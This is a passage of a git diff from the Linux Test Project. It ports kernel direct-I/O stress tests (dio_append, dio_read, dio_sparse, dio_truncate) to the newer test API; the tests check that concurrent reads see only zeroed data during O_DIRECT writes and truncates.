- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * Module: .c
+ *				 2004 Open Source Development Lab
+ *				 2004  Marty Ridgeway <mridge@us.ibm.com>
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Change History:
+/*\
+ * [Description]
  *
- * 2/2004  Marty Ridgeway (mridge@us.ibm.com) Changes to adapt to LTP
- *
+ * Appends zeroed data to a file using O_DIRECT while a child processes are
+ * doing buffered reads after seeking to the end of the file and checks if the
+ * buffer reads always see zero.
  */
-/*
- * dio_append - append zeroed data to a file using O_DIRECT while
- *	a 2nd process is doing buffered reads and check if the buffer
- *	reads always see zero.
- */
+
 #define _GNU_SOURCE
 
-#include <stdlib.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <memory.h>
-#include <limits.h>
+#include "tst_test.h"
+#include "common.h"
 
-#include "test.h"
-#define NUM_CHILDREN 8
+static volatile int *run_child;
 
-#include "common_checkzero.h"
+static char *str_numchildren;
+static char *str_writesize;
+static char *str_appends;
 
-int read_eof(char *filename)
+static int numchildren;
+static long long writesize;
+static int appends;
+
+static void setup(void)
 {
-	int fd;
-	int i;
-	int r;
-	char buf[4096];
+	numchildren = 16;
+	writesize = 64 * 1024;
+	appends = 1000;
 
-	while ((fd = open(filename, O_RDONLY)) < 0) {
-		sleep(1);	/* wait for file to be created */
-	}
+	if (tst_parse_int(str_numchildren, &numchildren, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of children '%s'", str_numchildren);
 
-	for (i = 0; i < 1000000; i++) {
-		off_t offset;
-		char *bufoff;
+	if (tst_parse_filesize(str_writesize, &writesize, 1, LLONG_MAX))
+		tst_brk(TBROK, "Invalid write file size '%s'", str_writesize);
 
-		offset = lseek(fd, SEEK_END, 0);
-		r = read(fd, buf, 4096);
-		if (r > 0) {
-			if ((bufoff = check_zero(buf, r))) {
-				fprintf(stderr, "non-zero read at offset %p\n",
-					offset + bufoff);
-				exit(1);
-			}
-		}
-	}
-	return 0;
+	if (tst_parse_int(str_appends, &appends, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of appends '%s'", str_appends);
+
+	run_child = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
 }
 
-void dio_append(char *filename)
+static void cleanup(void)
 {
-	int fd;
-	void *bufptr;
-	int i;
-	int w;
-
-	fd = open(filename, O_DIRECT | O_WRONLY | O_CREAT, 0666);
-
-	if (fd < 0) {
-		perror("cannot create file");
-		return;
-	}
-
-	TEST(posix_memalign(&bufptr, 4096, 64 * 1024));
-	if (TEST_RETURN) {
-		tst_resm(TBROK | TRERRNO, "cannot malloc aligned memory");
-		close(fd);
-		return;
-	}
-
-	memset(bufptr, 0, 64 * 1024);
-	for (i = 0; i < 1000; i++) {
-		if ((w = write(fd, bufptr, 64 * 1024)) != 64 * 1024) {
-			fprintf(stderr, "write %d returned %d\n", i, w);
-		}
+	if (run_child) {
+		*run_child = 0;
+		SAFE_MUNMAP((void *)run_child, sizeof(int));
 	}
 }
 
-int main(void)
+static void run(void)
 {
-	char filename[PATH_MAX];
-	int pid[NUM_CHILDREN];
-	int num_children = 1;
+	char *filename = "dio_append";
+	int status;
 	int i;
 
-	snprintf(filename, sizeof(filename), "%s/aiodio/file",
-		 getenv("TMP") ? getenv("TMP") : "/tmp");
+	*run_child = 1;
 
-	printf("Begin dio_append test...\n");
-
-	for (i = 0; i < num_children; i++) {
-		if ((pid[i] = fork()) == 0) {
-			/* child */
-			return read_eof(filename);
-		} else if (pid[i] < 0) {
-			/* error */
-			perror("fork error");
-			break;
-		} else {
-			/* Parent */
-			continue;
+	for (i = 0; i < numchildren; i++) {
+		if (!SAFE_FORK()) {
+			io_read_eof(filename, run_child);
+			return;
 		}
 	}
 
-	/*
-	 * Parent appends to end of file using direct i/o
-	 */
+	tst_res(TINFO, "Parent append to file");
 
-	dio_append(filename);
+	io_append(filename, 0, O_DIRECT | O_WRONLY | O_CREAT, writesize, appends);
 
-	for (i = 0; i < num_children; i++) {
-		kill(pid[i], SIGTERM);
-	}
-	return 0;
+	if (!tst_remaining_runtime())
+		tst_res(TINFO, "Test out of runtime, exiting");
+
+	if (SAFE_WAITPID(-1, &status, WNOHANG))
+		tst_res(TFAIL, "Non zero bytes read");
+	else
+		tst_res(TPASS, "All bytes read were zeroed");
+
+	*run_child = 0;
+
+	SAFE_UNLINK(filename);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.max_runtime = 1800,
+	.options = (struct tst_option[]) {
+		{"n:", &str_numchildren, "Number of processes (default 16)"},
+		{"w:", &str_writesize, "Write size for each append (default 64K)"},
+		{"c:", &str_appends, "Number of appends (default 1000)"},
+		{}
+	},
+	.skip_filesystems = (const char *[]) {
+		"tmpfs",
+		NULL
+	},
+};
diff --git a/testcases/kernel/io/ltp-aiodio/dio_read.c b/testcases/kernel/io/ltp-aiodio/dio_read.c
new file mode 100644
index 0000000..54a0bc5
--- /dev/null
+++ b/testcases/kernel/io/ltp-aiodio/dio_read.c
@@ -0,0 +1,193 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ *   Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Create a file using buffered writes while other processes are doing
+ * O_DIRECT reads and check if the buffer reads always see zero.
+ */
+
+#define _GNU_SOURCE
+
+#include <unistd.h>
+#include <limits.h>
+#include <string.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include "tst_test.h"
+#include "common.h"
+
+static char *str_numchildren;
+static char *str_writesize;
+static char *str_readsize;
+static char *str_filesize;
+
+static char *filename = "file.bin";
+static int numchildren = 8;
+static long long writesize = 32 * 1024 * 1024;
+static long long readsize = 32 * 1024 * 1024;
+static long long filesize = 128 * 1024 * 1024;
+static int *children_completed;
+static char *iobuf;
+static int fd;
+
+static void do_buffered_writes(int fd, char *bufptr, long long fsize, long long wsize, int pattern)
+{
+	long long offset;
+	long long w;
+
+	memset(bufptr, pattern, wsize);
+
+	tst_res(TINFO, "child %i writing file", getpid());
+
+	for (offset = 0; offset + wsize <= fsize; offset += wsize) {
+		w = pwrite(fd, bufptr, wsize, offset);
+		if (w < 0)
+			tst_brk(TBROK, "pwrite: %s", tst_strerrno(-w));
+		if (w != wsize)
+			tst_brk(TBROK, "pwrite: wrote %lld bytes out of %lld", w, wsize);
+
+		SAFE_FSYNC(fd);
+
+		if (!tst_remaining_runtime())
+			return;
+	}
+}
+
+static int do_direct_reads(char *filename, char *bufptr, long long fsize, long long rsize)
+{
+	int fd;
+	long long offset;
+	long long w;
+	int fail = 0;
+	int iter = 1;
+
+	fd = SAFE_OPEN(filename, O_RDONLY | O_DIRECT, 0666);
+
+	while (1) {
+		for (offset = 0; offset + rsize < fsize; offset += rsize) {
+			char *bufoff;
+
+			if (*children_completed >= numchildren) {
+				tst_res(TINFO,
+					"Writers finshed, exiting reader (iteration %i)",
+					iter);
+				goto exit;
+			}
+
+			if (!tst_remaining_runtime()) {
+				tst_res(TINFO, "Test out of runtime, exiting");
+				goto exit;
+			}
+
+			w = pread(fd, bufptr, rsize, offset);
+			if (w < 0)
+				tst_brk(TBROK, "pread: %s", tst_strerrno(-w));
+			if (w != rsize)
+				tst_brk(TBROK, "pread: read %lld bytes out of %lld", w, rsize);
+
+			bufoff = check_zero(bufptr, rsize);
+			if (bufoff) {
+				fail = 1;
+				goto exit;
+			}
+
+			iter++;
+		}
+	}
+
+exit:
+	SAFE_CLOSE(fd);
+
+	return fail;
+}
+
+static void setup(void)
+{
+	struct stat sb;
+	long long buffsize;
+	long long alignment;
+
+	if (tst_parse_int(str_numchildren, &numchildren, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of children '%s'", str_numchildren);
+
+	if (tst_parse_filesize(str_filesize, &filesize, 1, LLONG_MAX))
+		tst_brk(TBROK, "Invalid file size '%s'", str_filesize);
+
+	if (tst_parse_filesize(str_writesize, &writesize, 1, filesize))
+		tst_brk(TBROK, "Invalid write blocks size '%s'", str_writesize);
+
+	if (tst_parse_filesize(str_readsize, &readsize, 1, filesize))
+		tst_brk(TBROK, "Invalid read blocks size '%s'", str_readsize);
+
+	SAFE_STAT(".", &sb);
+	alignment = sb.st_blksize;
+
+	buffsize = readsize > writesize ? readsize : writesize;
+
+	iobuf = SAFE_MEMALIGN(alignment, buffsize);
+
+	children_completed = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+
+	fd = SAFE_OPEN(filename, O_CREAT | O_TRUNC | O_RDWR, 0666);
+}
+
+static void cleanup(void)
+{
+	SAFE_CLOSE(fd);
+}
+
+static void run(void)
+{
+	int i;
+	int fail;
+
+	// Fill the file with a known pattern so that the blocks
+	// on disk can be detected if they become exposed
+	do_buffered_writes(fd, iobuf, filesize, writesize, 1);
+	SAFE_FSYNC(fd);
+	SAFE_FTRUNCATE(fd, 0);
+	SAFE_FSYNC(fd);
+
+	SAFE_FTRUNCATE(fd, filesize);
+
+	*children_completed = 0;
+
+	for (i = 0; i < numchildren; i++) {
+		if (!SAFE_FORK()) {
+			do_buffered_writes(fd, iobuf, filesize, writesize, 0);
+			tst_atomic_add_return(1, children_completed);
+			return;
+		}
+	}
+
+	fail = do_direct_reads(filename, iobuf, filesize, readsize);
+
+	if (fail)
+		tst_res(TFAIL, "Non zero bytes read");
+	else
+		tst_res(TPASS, "All bytes read were zeroed");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.max_runtime = 1800,
+	.options = (struct tst_option[]) {
+		{"n:", &str_numchildren, "Number of threads (default 8)"},
+		{"w:", &str_writesize, "Size of writing blocks (default 32M)"},
+		{"r:", &str_readsize, "Size of reading blocks (default 32M)"},
+		{"s:", &str_filesize, "File size (default 128M)"},
+		{}
+	},
+	.skip_filesystems = (const char *[]) {
+		"tmpfs",
+		NULL
+	},
+};
diff --git a/testcases/kernel/io/ltp-aiodio/dio_sparse.c b/testcases/kernel/io/ltp-aiodio/dio_sparse.c
index 67b338b..1b5834e 100644
--- a/testcases/kernel/io/ltp-aiodio/dio_sparse.c
+++ b/testcases/kernel/io/ltp-aiodio/dio_sparse.c
@@ -1,3 +1,4 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  *   Copyright (c) 2004 Daniel McNeil <daniel@osdl.org>
  *                 2004 Open Source Development Lab
@@ -6,206 +7,133 @@
  *
  *   Copyright (c) 2011 Cyril Hrubis <chrubis@suse.cz>
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ *   Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * [Description]
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Create a sparse file using O_DIRECT while other processes are doing
+ * buffered reads and check if the buffer reads always see zero.
  */
 
 #define _GNU_SOURCE
 
 #include <stdlib.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
 #include <unistd.h>
-#include <memory.h>
-#include <sys/mman.h>
+#include <string.h>
 #include <sys/wait.h>
-#include <limits.h>
-#include <getopt.h>
+#include "tst_test.h"
+#include "common.h"
 
-#include "test.h"
-#include "safe_macros.h"
+static volatile int *run_child;
 
-#define NUM_CHILDREN 1000
+static char *str_numchildren;
+static char *str_writesize;
+static char *str_filesize;
+static char *str_offset;
 
-static void setup(void);
-static void cleanup(void);
-static void usage(void);
-static int debug = 0;
-static int fd;
+static int numchildren = 16;
+static long long writesize = 1024;
+static long long filesize = 100 * 1024 * 1024;
+static long long offset = 0;
+static long long alignment;
 
-char *TCID = "dio_sparse";
-int TST_TOTAL = 1;
-
-#include "common_sparse.h"
-
-/*
- * Write zeroes using O_DIRECT into sparse file.
- */
-int dio_sparse(int fd, int align, int writesize, int filesize, int offset)
+static void dio_sparse(int fd, int align, long long fs, int ws, long long off)
 {
-	void *bufptr;
-	int i, w;
+	void *bufptr = NULL;
+	long long i;
+	int w;
 
-	TEST(posix_memalign(&bufptr, align, writesize));
-	if (TEST_RETURN) {
-		tst_resm(TBROK | TRERRNO, "cannot allocate aligned memory");
-		return 1;
-	}
+	bufptr = SAFE_MEMALIGN(align, ws);
 
-	memset(bufptr, 0, writesize);
-	lseek(fd, offset, SEEK_SET);
-	for (i = offset; i < filesize;) {
-		if ((w = write(fd, bufptr, writesize)) != writesize) {
-			tst_resm(TBROK | TERRNO, "write() returned %d", w);
-			return 1;
+	memset(bufptr, 0, ws);
+	SAFE_LSEEK(fd, off, SEEK_SET);
+
+	for (i = off; i < fs;) {
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "Test runtime is over, exiting");
+			return;
 		}
-
+		w = SAFE_WRITE(0, fd, bufptr, ws);
 		i += w;
 	}
-
-	return 0;
-}
-
-void usage(void)
-{
-	fprintf(stderr, "usage: dio_sparse [-d] [-n children] [-s filesize]"
-		" [-w writesize] [-o offset]]\n");
-	exit(1);
-}
-
-int main(int argc, char **argv)
-{
-	char *filename = "dio_sparse";
-	int pid[NUM_CHILDREN];
-	int num_children = 1;
-	int i;
-	long alignment = 512;
-	int writesize = 65536;
-	int filesize = 100 * 1024 * 1024;
-	int offset = 0;
-	int c;
-	int children_errors = 0;
-	int ret;
-
-	while ((c = getopt(argc, argv, "dw:n:a:s:o:")) != -1) {
-		char *endp;
-		switch (c) {
-		case 'd':
-			debug++;
-			break;
-		case 'a':
-			alignment = strtol(optarg, &endp, 0);
-			alignment = scale_by_kmg(alignment, *endp);
-			break;
-		case 'w':
-			writesize = strtol(optarg, &endp, 0);
-			writesize = scale_by_kmg(writesize, *endp);
-			break;
-		case 's':
-			filesize = strtol(optarg, &endp, 0);
-			filesize = scale_by_kmg(filesize, *endp);
-			break;
-		case 'o':
-			offset = strtol(optarg, &endp, 0);
-			offset = scale_by_kmg(offset, *endp);
-			break;
-		case 'n':
-			num_children = atoi(optarg);
-			if (num_children > NUM_CHILDREN) {
-				fprintf(stderr,
-					"number of children limited to %d\n",
-					NUM_CHILDREN);
-				num_children = NUM_CHILDREN;
-			}
-			break;
-		case '?':
-			usage();
-			break;
-		}
-	}
-
-	setup();
-	tst_resm(TINFO, "Dirtying free blocks");
-	dirty_freeblocks(filesize);
-
-	fd = SAFE_OPEN(cleanup, filename,
-		O_DIRECT | O_WRONLY | O_CREAT | O_EXCL, 0600);
-	SAFE_FTRUNCATE(cleanup, fd, filesize);
-
-	tst_resm(TINFO, "Starting I/O tests");
-	signal(SIGTERM, SIG_DFL);
-	for (i = 0; i < num_children; i++) {
-		switch (pid[i] = fork()) {
-		case 0:
-			SAFE_CLOSE(NULL, fd);
-			read_sparse(filename, filesize);
-			break;
-		case -1:
-			while (i-- > 0)
-				kill(pid[i], SIGTERM);
-
-			tst_brkm(TBROK | TERRNO, cleanup, "fork()");
-		default:
-			continue;
-		}
-	}
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	ret = dio_sparse(fd, alignment, writesize, filesize, offset);
-
-	tst_resm(TINFO, "Killing childrens(s)");
-
-	for (i = 0; i < num_children; i++)
-		kill(pid[i], SIGTERM);
-
-	for (i = 0; i < num_children; i++) {
-		int status;
-		pid_t p;
-
-		p = waitpid(pid[i], &status, 0);
-		if (p < 0) {
-			tst_resm(TBROK | TERRNO, "waitpid()");
-		} else {
-			if (WIFEXITED(status) && WEXITSTATUS(status) == 10)
-				children_errors++;
-		}
-	}
-
-	if (children_errors)
-		tst_resm(TFAIL, "%i children(s) exited abnormally",
-			 children_errors);
-
-	if (!children_errors && !ret)
-		tst_resm(TPASS, "Test passed");
-
-	cleanup();
-	tst_exit();
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	tst_tmpdir();
+	struct stat sb;
+
+	if (tst_parse_int(str_numchildren, &numchildren, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of children '%s'", str_numchildren);
+
+	if (tst_parse_filesize(str_writesize, &writesize, 1, LLONG_MAX))
+		tst_brk(TBROK, "Invalid write blocks size '%s'", str_writesize);
+
+	if (tst_parse_filesize(str_filesize, &filesize, 1, LLONG_MAX))
+		tst_brk(TBROK, "Invalid file size '%s'", str_filesize);
+
+	if (tst_parse_filesize(str_offset, &offset, 0, LLONG_MAX))
+		tst_brk(TBROK, "Invalid file offset '%s'", str_offset);
+
+	SAFE_STAT(".", &sb);
+	alignment = sb.st_blksize;
+
+	run_child = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+
+	tst_res(TINFO, "Dirtying free blocks");
+	dirty_freeblocks(100 * 1024 * 1024);
 }
 
 static void cleanup(void)
 {
-	if (fd > 0 && close(fd))
-		tst_resm(TWARN | TERRNO, "Failed to close file");
-
-	tst_rmdir();
+	if (run_child) {
+		*run_child = 0;
+		SAFE_MUNMAP((void *)run_child, sizeof(int));
+	}
 }
+
+static void run(void)
+{
+	char *filename = "dio_sparse";
+	int fd;
+	int i;
+
+	fd = SAFE_OPEN(filename, O_DIRECT | O_WRONLY | O_CREAT, 0666);
+	SAFE_FTRUNCATE(fd, filesize);
+
+	*run_child = 1;
+
+	for (i = 0; i < numchildren; i++) {
+		if (!SAFE_FORK()) {
+			io_read(filename, filesize, run_child);
+			return;
+		}
+	}
+
+	dio_sparse(fd, alignment, filesize, writesize, offset);
+	*run_child = 0;
+
+	if (!tst_validate_children(numchildren))
+		tst_res(TPASS, "All bytes read were zeroed");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.options = (struct tst_option[]) {
+		{"n:", &str_numchildren, "Number of threads (default 16)"},
+		{"w:", &str_writesize, "Size of writing blocks (default 1K)"},
+		{"s:", &str_filesize, "Size of file (default 100M)"},
+		{"o:", &str_offset, "File offset (default 0)"},
+		{}
+	},
+	.skip_filesystems = (const char *[]) {
+		"tmpfs",
+		NULL
+	},
+	.max_runtime = 1800,
+};
diff --git a/testcases/kernel/io/ltp-aiodio/dio_truncate.c b/testcases/kernel/io/ltp-aiodio/dio_truncate.c
index 7d466dc..e5c0933 100644
--- a/testcases/kernel/io/ltp-aiodio/dio_truncate.c
+++ b/testcases/kernel/io/ltp-aiodio/dio_truncate.c
@@ -1,177 +1,178 @@
-
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2004 Daniel McNeil <daniel@osdl.org>
- *               2004 Open Source Development Lab
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * Module: .c
+ *				 2004 Open Source Development Lab
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Change History:
+/*\
+ * [Description]
  *
- * 2/2004  Marty Ridgeway (mridge@us.ibm.com) Changes to adapt to LTP
+ * This test is mixing direct I/O and truncate operations checking if they can
+ * be used together at the same time. Multiple children are spawned to read a
+ * file that is written to using direct I/O and truncated in a loop.
  *
+ * [Algorithm]
+ *
+ * - Spawn multiple children which start to read on 'file'
+ * - Parent start to fill and truncate 'file' many times with zero char when
+ *   children are reading
+ * - Parent start to fill and truncate a junk file many times with non-zero char
+ *
+ * If no issues occur on direct IO/truncate operations and the file always
+ * contains zero characters, test PASS. Otherwise, test will FAIL.
  */
+
 #define _GNU_SOURCE
 
 #include <stdlib.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <errno.h>
-#include <fcntl.h>
 #include <stdio.h>
-#include <unistd.h>
-#include <memory.h>
-#include <string.h>
-#include <limits.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include "tst_test.h"
+#include "common.h"
 
-#include "test.h"
+static volatile int *run_child;
 
-#define NUM_CHILDREN 8
+static char *str_numchildren;
+static char *str_filesize;
+static char *str_numappends;
+static char *str_numwrites;
 
-char *check_zero(unsigned char *buf, int size)
-{
-	unsigned char *p;
+static int numchildren = 16;
+static long long filesize = 64 * 1024;
+static long long alignment;
+static int numappends = 100;
+static int numwrites = 100;
 
-	p = buf;
-
-	while (size > 0) {
-		if (*buf != 0) {
-			fprintf(stderr,
-				"non zero buffer at buf[%d] => 0x%02x,%02x,%02x,%02x\n",
-				buf - p, (unsigned int)buf[0],
-				size > 1 ? (unsigned int)buf[1] : 0,
-				size > 2 ? (unsigned int)buf[2] : 0,
-				size > 3 ? (unsigned int)buf[3] : 0);
-			fprintf(stderr, "buf %p, p %p\n", buf, p);
-			return buf;
-		}
-		buf++;
-		size--;
-	}
-	return 0;		/* all zeros */
-}
-
-int dio_read(char *filename)
+static void dio_read(const char *filename, long long align, size_t bs)
 {
 	int fd;
 	int r;
-	void *bufptr;
+	char *bufptr;
 
-	TEST(posix_memalign(&bufptr, 4096, 64 * 1024));
-	if (TEST_RETURN) {
-		tst_resm(TBROK | TRERRNO, "cannot malloc aligned memory");
-		return -1;
-	}
+	while ((fd = open(filename, O_RDONLY | O_DIRECT, 0666)) < 0)
+		usleep(100);
 
-	while ((fd = open(filename, O_DIRECT | O_RDONLY)) < 0) {
-	}
-	fprintf(stderr, "dio_truncate: child reading file\n");
-	while (1) {
+	bufptr = SAFE_MEMALIGN(align, bs);
+
+	tst_res(TINFO, "child %i reading file", getpid());
+	while (*run_child) {
 		off_t offset;
 		char *bufoff;
 
-		/* read the file, checking for zeros */
-		offset = lseek(fd, SEEK_SET, 0);
+		offset = SAFE_LSEEK(fd, SEEK_SET, 0);
 		do {
 			r = read(fd, bufptr, 64 * 1024);
 			if (r > 0) {
-				if ((bufoff = check_zero(bufptr, r))) {
-					fprintf(stderr,
-						"non-zero read at offset %p\n",
-						offset + bufoff);
-					exit(1);
+				bufoff = check_zero(bufptr, r);
+				if (bufoff) {
+					tst_res(TINFO, "non-zero read at offset %zu",
+						offset + (bufoff - bufptr));
+					free(bufptr);
+					SAFE_CLOSE(fd);
+					return;
 				}
 				offset += r;
 			}
 		} while (r > 0);
 	}
-	return 0;
+
+	free(bufptr);
+	SAFE_CLOSE(fd);
 }
 
-void dio_append(char *filename, int fill)
+static void setup(void)
 {
-	int fd;
-	void *bufptr;
+	struct stat sb;
+
+	if (tst_parse_int(str_numchildren, &numchildren, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of children '%s'", str_numchildren);
+
+	if (tst_parse_filesize(str_filesize, &filesize, 1, LLONG_MAX))
+		tst_brk(TBROK, "Invalid file size '%s'", str_filesize);
+
+	if (tst_parse_int(str_numappends, &numappends, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of appends '%s'", str_numappends);
+
+	if (tst_parse_int(str_numwrites, &numwrites, 1, INT_MAX))
+		tst_brk(TBROK, "Invalid number of truncate/append '%s'", str_numwrites);
+
+	SAFE_STAT(".", &sb);
+	alignment = sb.st_blksize;
+
+	run_child = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+}
+
+static void cleanup(void)
+{
+	if (run_child) {
+		*run_child = 0;
+		SAFE_MUNMAP((void *)run_child, sizeof(int));
+	}
+}
+
+static void run(void)
+{
+	char *filename = "file.bin";
+	int wflags = O_DIRECT | O_WRONLY | O_CREAT;
+	int status;
 	int i;
-	int w;
+	int fail = 0;
 
-	fd = open(filename, O_DIRECT | O_WRONLY | O_CREAT, 0666);
+	*run_child = 1;
 
-	if (fd < 0) {
-		perror("cannot create file");
-		return;
-	}
-
-	TEST(posix_memalign(&bufptr, 4096, 64 * 1024));
-	if (TEST_RETURN) {
-		tst_resm(TBROK | TRERRNO, "cannot malloc aligned memory");
-		close(fd);
-		return;
-	}
-
-	memset(bufptr, fill, 64 * 1024);
-
-	for (i = 0; i < 1000; i++) {
-		if ((w = write(fd, bufptr, 64 * 1024)) != 64 * 1024) {
-			fprintf(stderr, "write %d returned %d\n", i, w);
+	for (i = 0; i < numchildren; i++) {
+		if (!SAFE_FORK()) {
+			dio_read(filename, alignment, filesize);
+			return;
 		}
 	}
-	close(fd);
-}
 
-int main(void)
-{
-	char filename[PATH_MAX];
-	int pid[NUM_CHILDREN];
-	int num_children = 1;
-	int i;
+	tst_res(TINFO, "Parent writes/truncates the file");
 
-	snprintf(filename, sizeof(filename), "%s/aiodio/file",
-		 getenv("TMP") ? getenv("TMP") : "/tmp");
+	for (i = 0; i < numwrites; i++) {
+		io_append(filename, 0, wflags, filesize, numappends);
+		SAFE_TRUNCATE(filename, 0);
+		io_append("junkfile", 0xaa, wflags, filesize, numappends);
+		SAFE_TRUNCATE("junkfile", 0);
 
-	for (i = 0; i < num_children; i++) {
-		if ((pid[i] = fork()) == 0) {
-			/* child */
-			return dio_read(filename);
-		} else if (pid[i] < 0) {
-			/* error */
-			perror("fork error");
+		if (SAFE_WAITPID(-1, &status, WNOHANG)) {
+			fail = 1;
 			break;
-		} else {
-			/* Parent */
-			continue;
+		}
+
+		if (!tst_remaining_runtime()) {
+			tst_res(TINFO, "Test out of runtime, exiting");
+			break;
 		}
 	}
 
-	/*
-	 * Parent creates a zero file using DIO.
-	 * Truncates it to zero
-	 * Create another file with '0xaa'
-	 */
-	for (i = 0; i < 100; i++) {
-		dio_append(filename, 0);
-		truncate(filename, 0);
-		dio_append("junkfile", 0xaa);
-		truncate("junkfile", 0);
-	}
+	if (fail)
+		tst_res(TFAIL, "Non zero bytes read");
+	else
+		tst_res(TPASS, "All bytes read were zeroed");
 
-	for (i = 0; i < num_children; i++) {
-		kill(pid[i], SIGTERM);
-	}
-
-	return 0;
+	*run_child = 0;
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.max_runtime = 1800,
+	.options = (struct tst_option[]) {
+		{"n:", &str_numchildren, "Number of threads (default 16)"},
+		{"s:", &str_filesize, "Size of file (default 64K)"},
+		{"a:", &str_numappends, "Number of appends (default 100)"},
+		{"c:", &str_numwrites, "Number of append & truncate (default 100)"},
+		{}
+	},
+	.skip_filesystems = (const char *[]) {
+		"tmpfs",
+		NULL
+	},
+};
diff --git a/testcases/kernel/io/ltp-aiodio/ltp-diorh.c b/testcases/kernel/io/ltp-aiodio/ltp-diorh.c
deleted file mode 100644
index 3bdf623..0000000
--- a/testcases/kernel/io/ltp-aiodio/ltp-diorh.c
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- *   Copyright (C) 2003,2004 Red Hat, Inc.  All rights reserved.
- *
- *   The contents of this file may be used under the terms of the GNU
- *   General Public License version 2 (the "GPL")
- *
- *   Author: Stephen C. Tweedie <sct@redhat.com>
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
- * Module: .c
- */
-
-/*
- * Change History:
- *
- * 2/2004  Marty Ridgeway (mridge@us.ibm.com) Changes to adapt to LTP
- *
- */
-
-#define _XOPEN_SOURCE 600
-#define _GNU_SOURCE
-#define MAX_ITERATIONS 250
-
-#include <unistd.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-#include <sys/wait.h>
-
-#define BIGSIZE 128*1024*1024
-#define READSIZE 32*1024*1024
-#define WRITESIZE 32*1024*1024
-
-int pagesize;
-char *iobuf;
-int pass = 0;
-
-void assert(const char *what, int assertion)
-{
-	if (assertion)
-		return;
-	perror(what);
-	exit(1);
-}
-
-void do_buffered_writes(int fd, int pattern)
-{
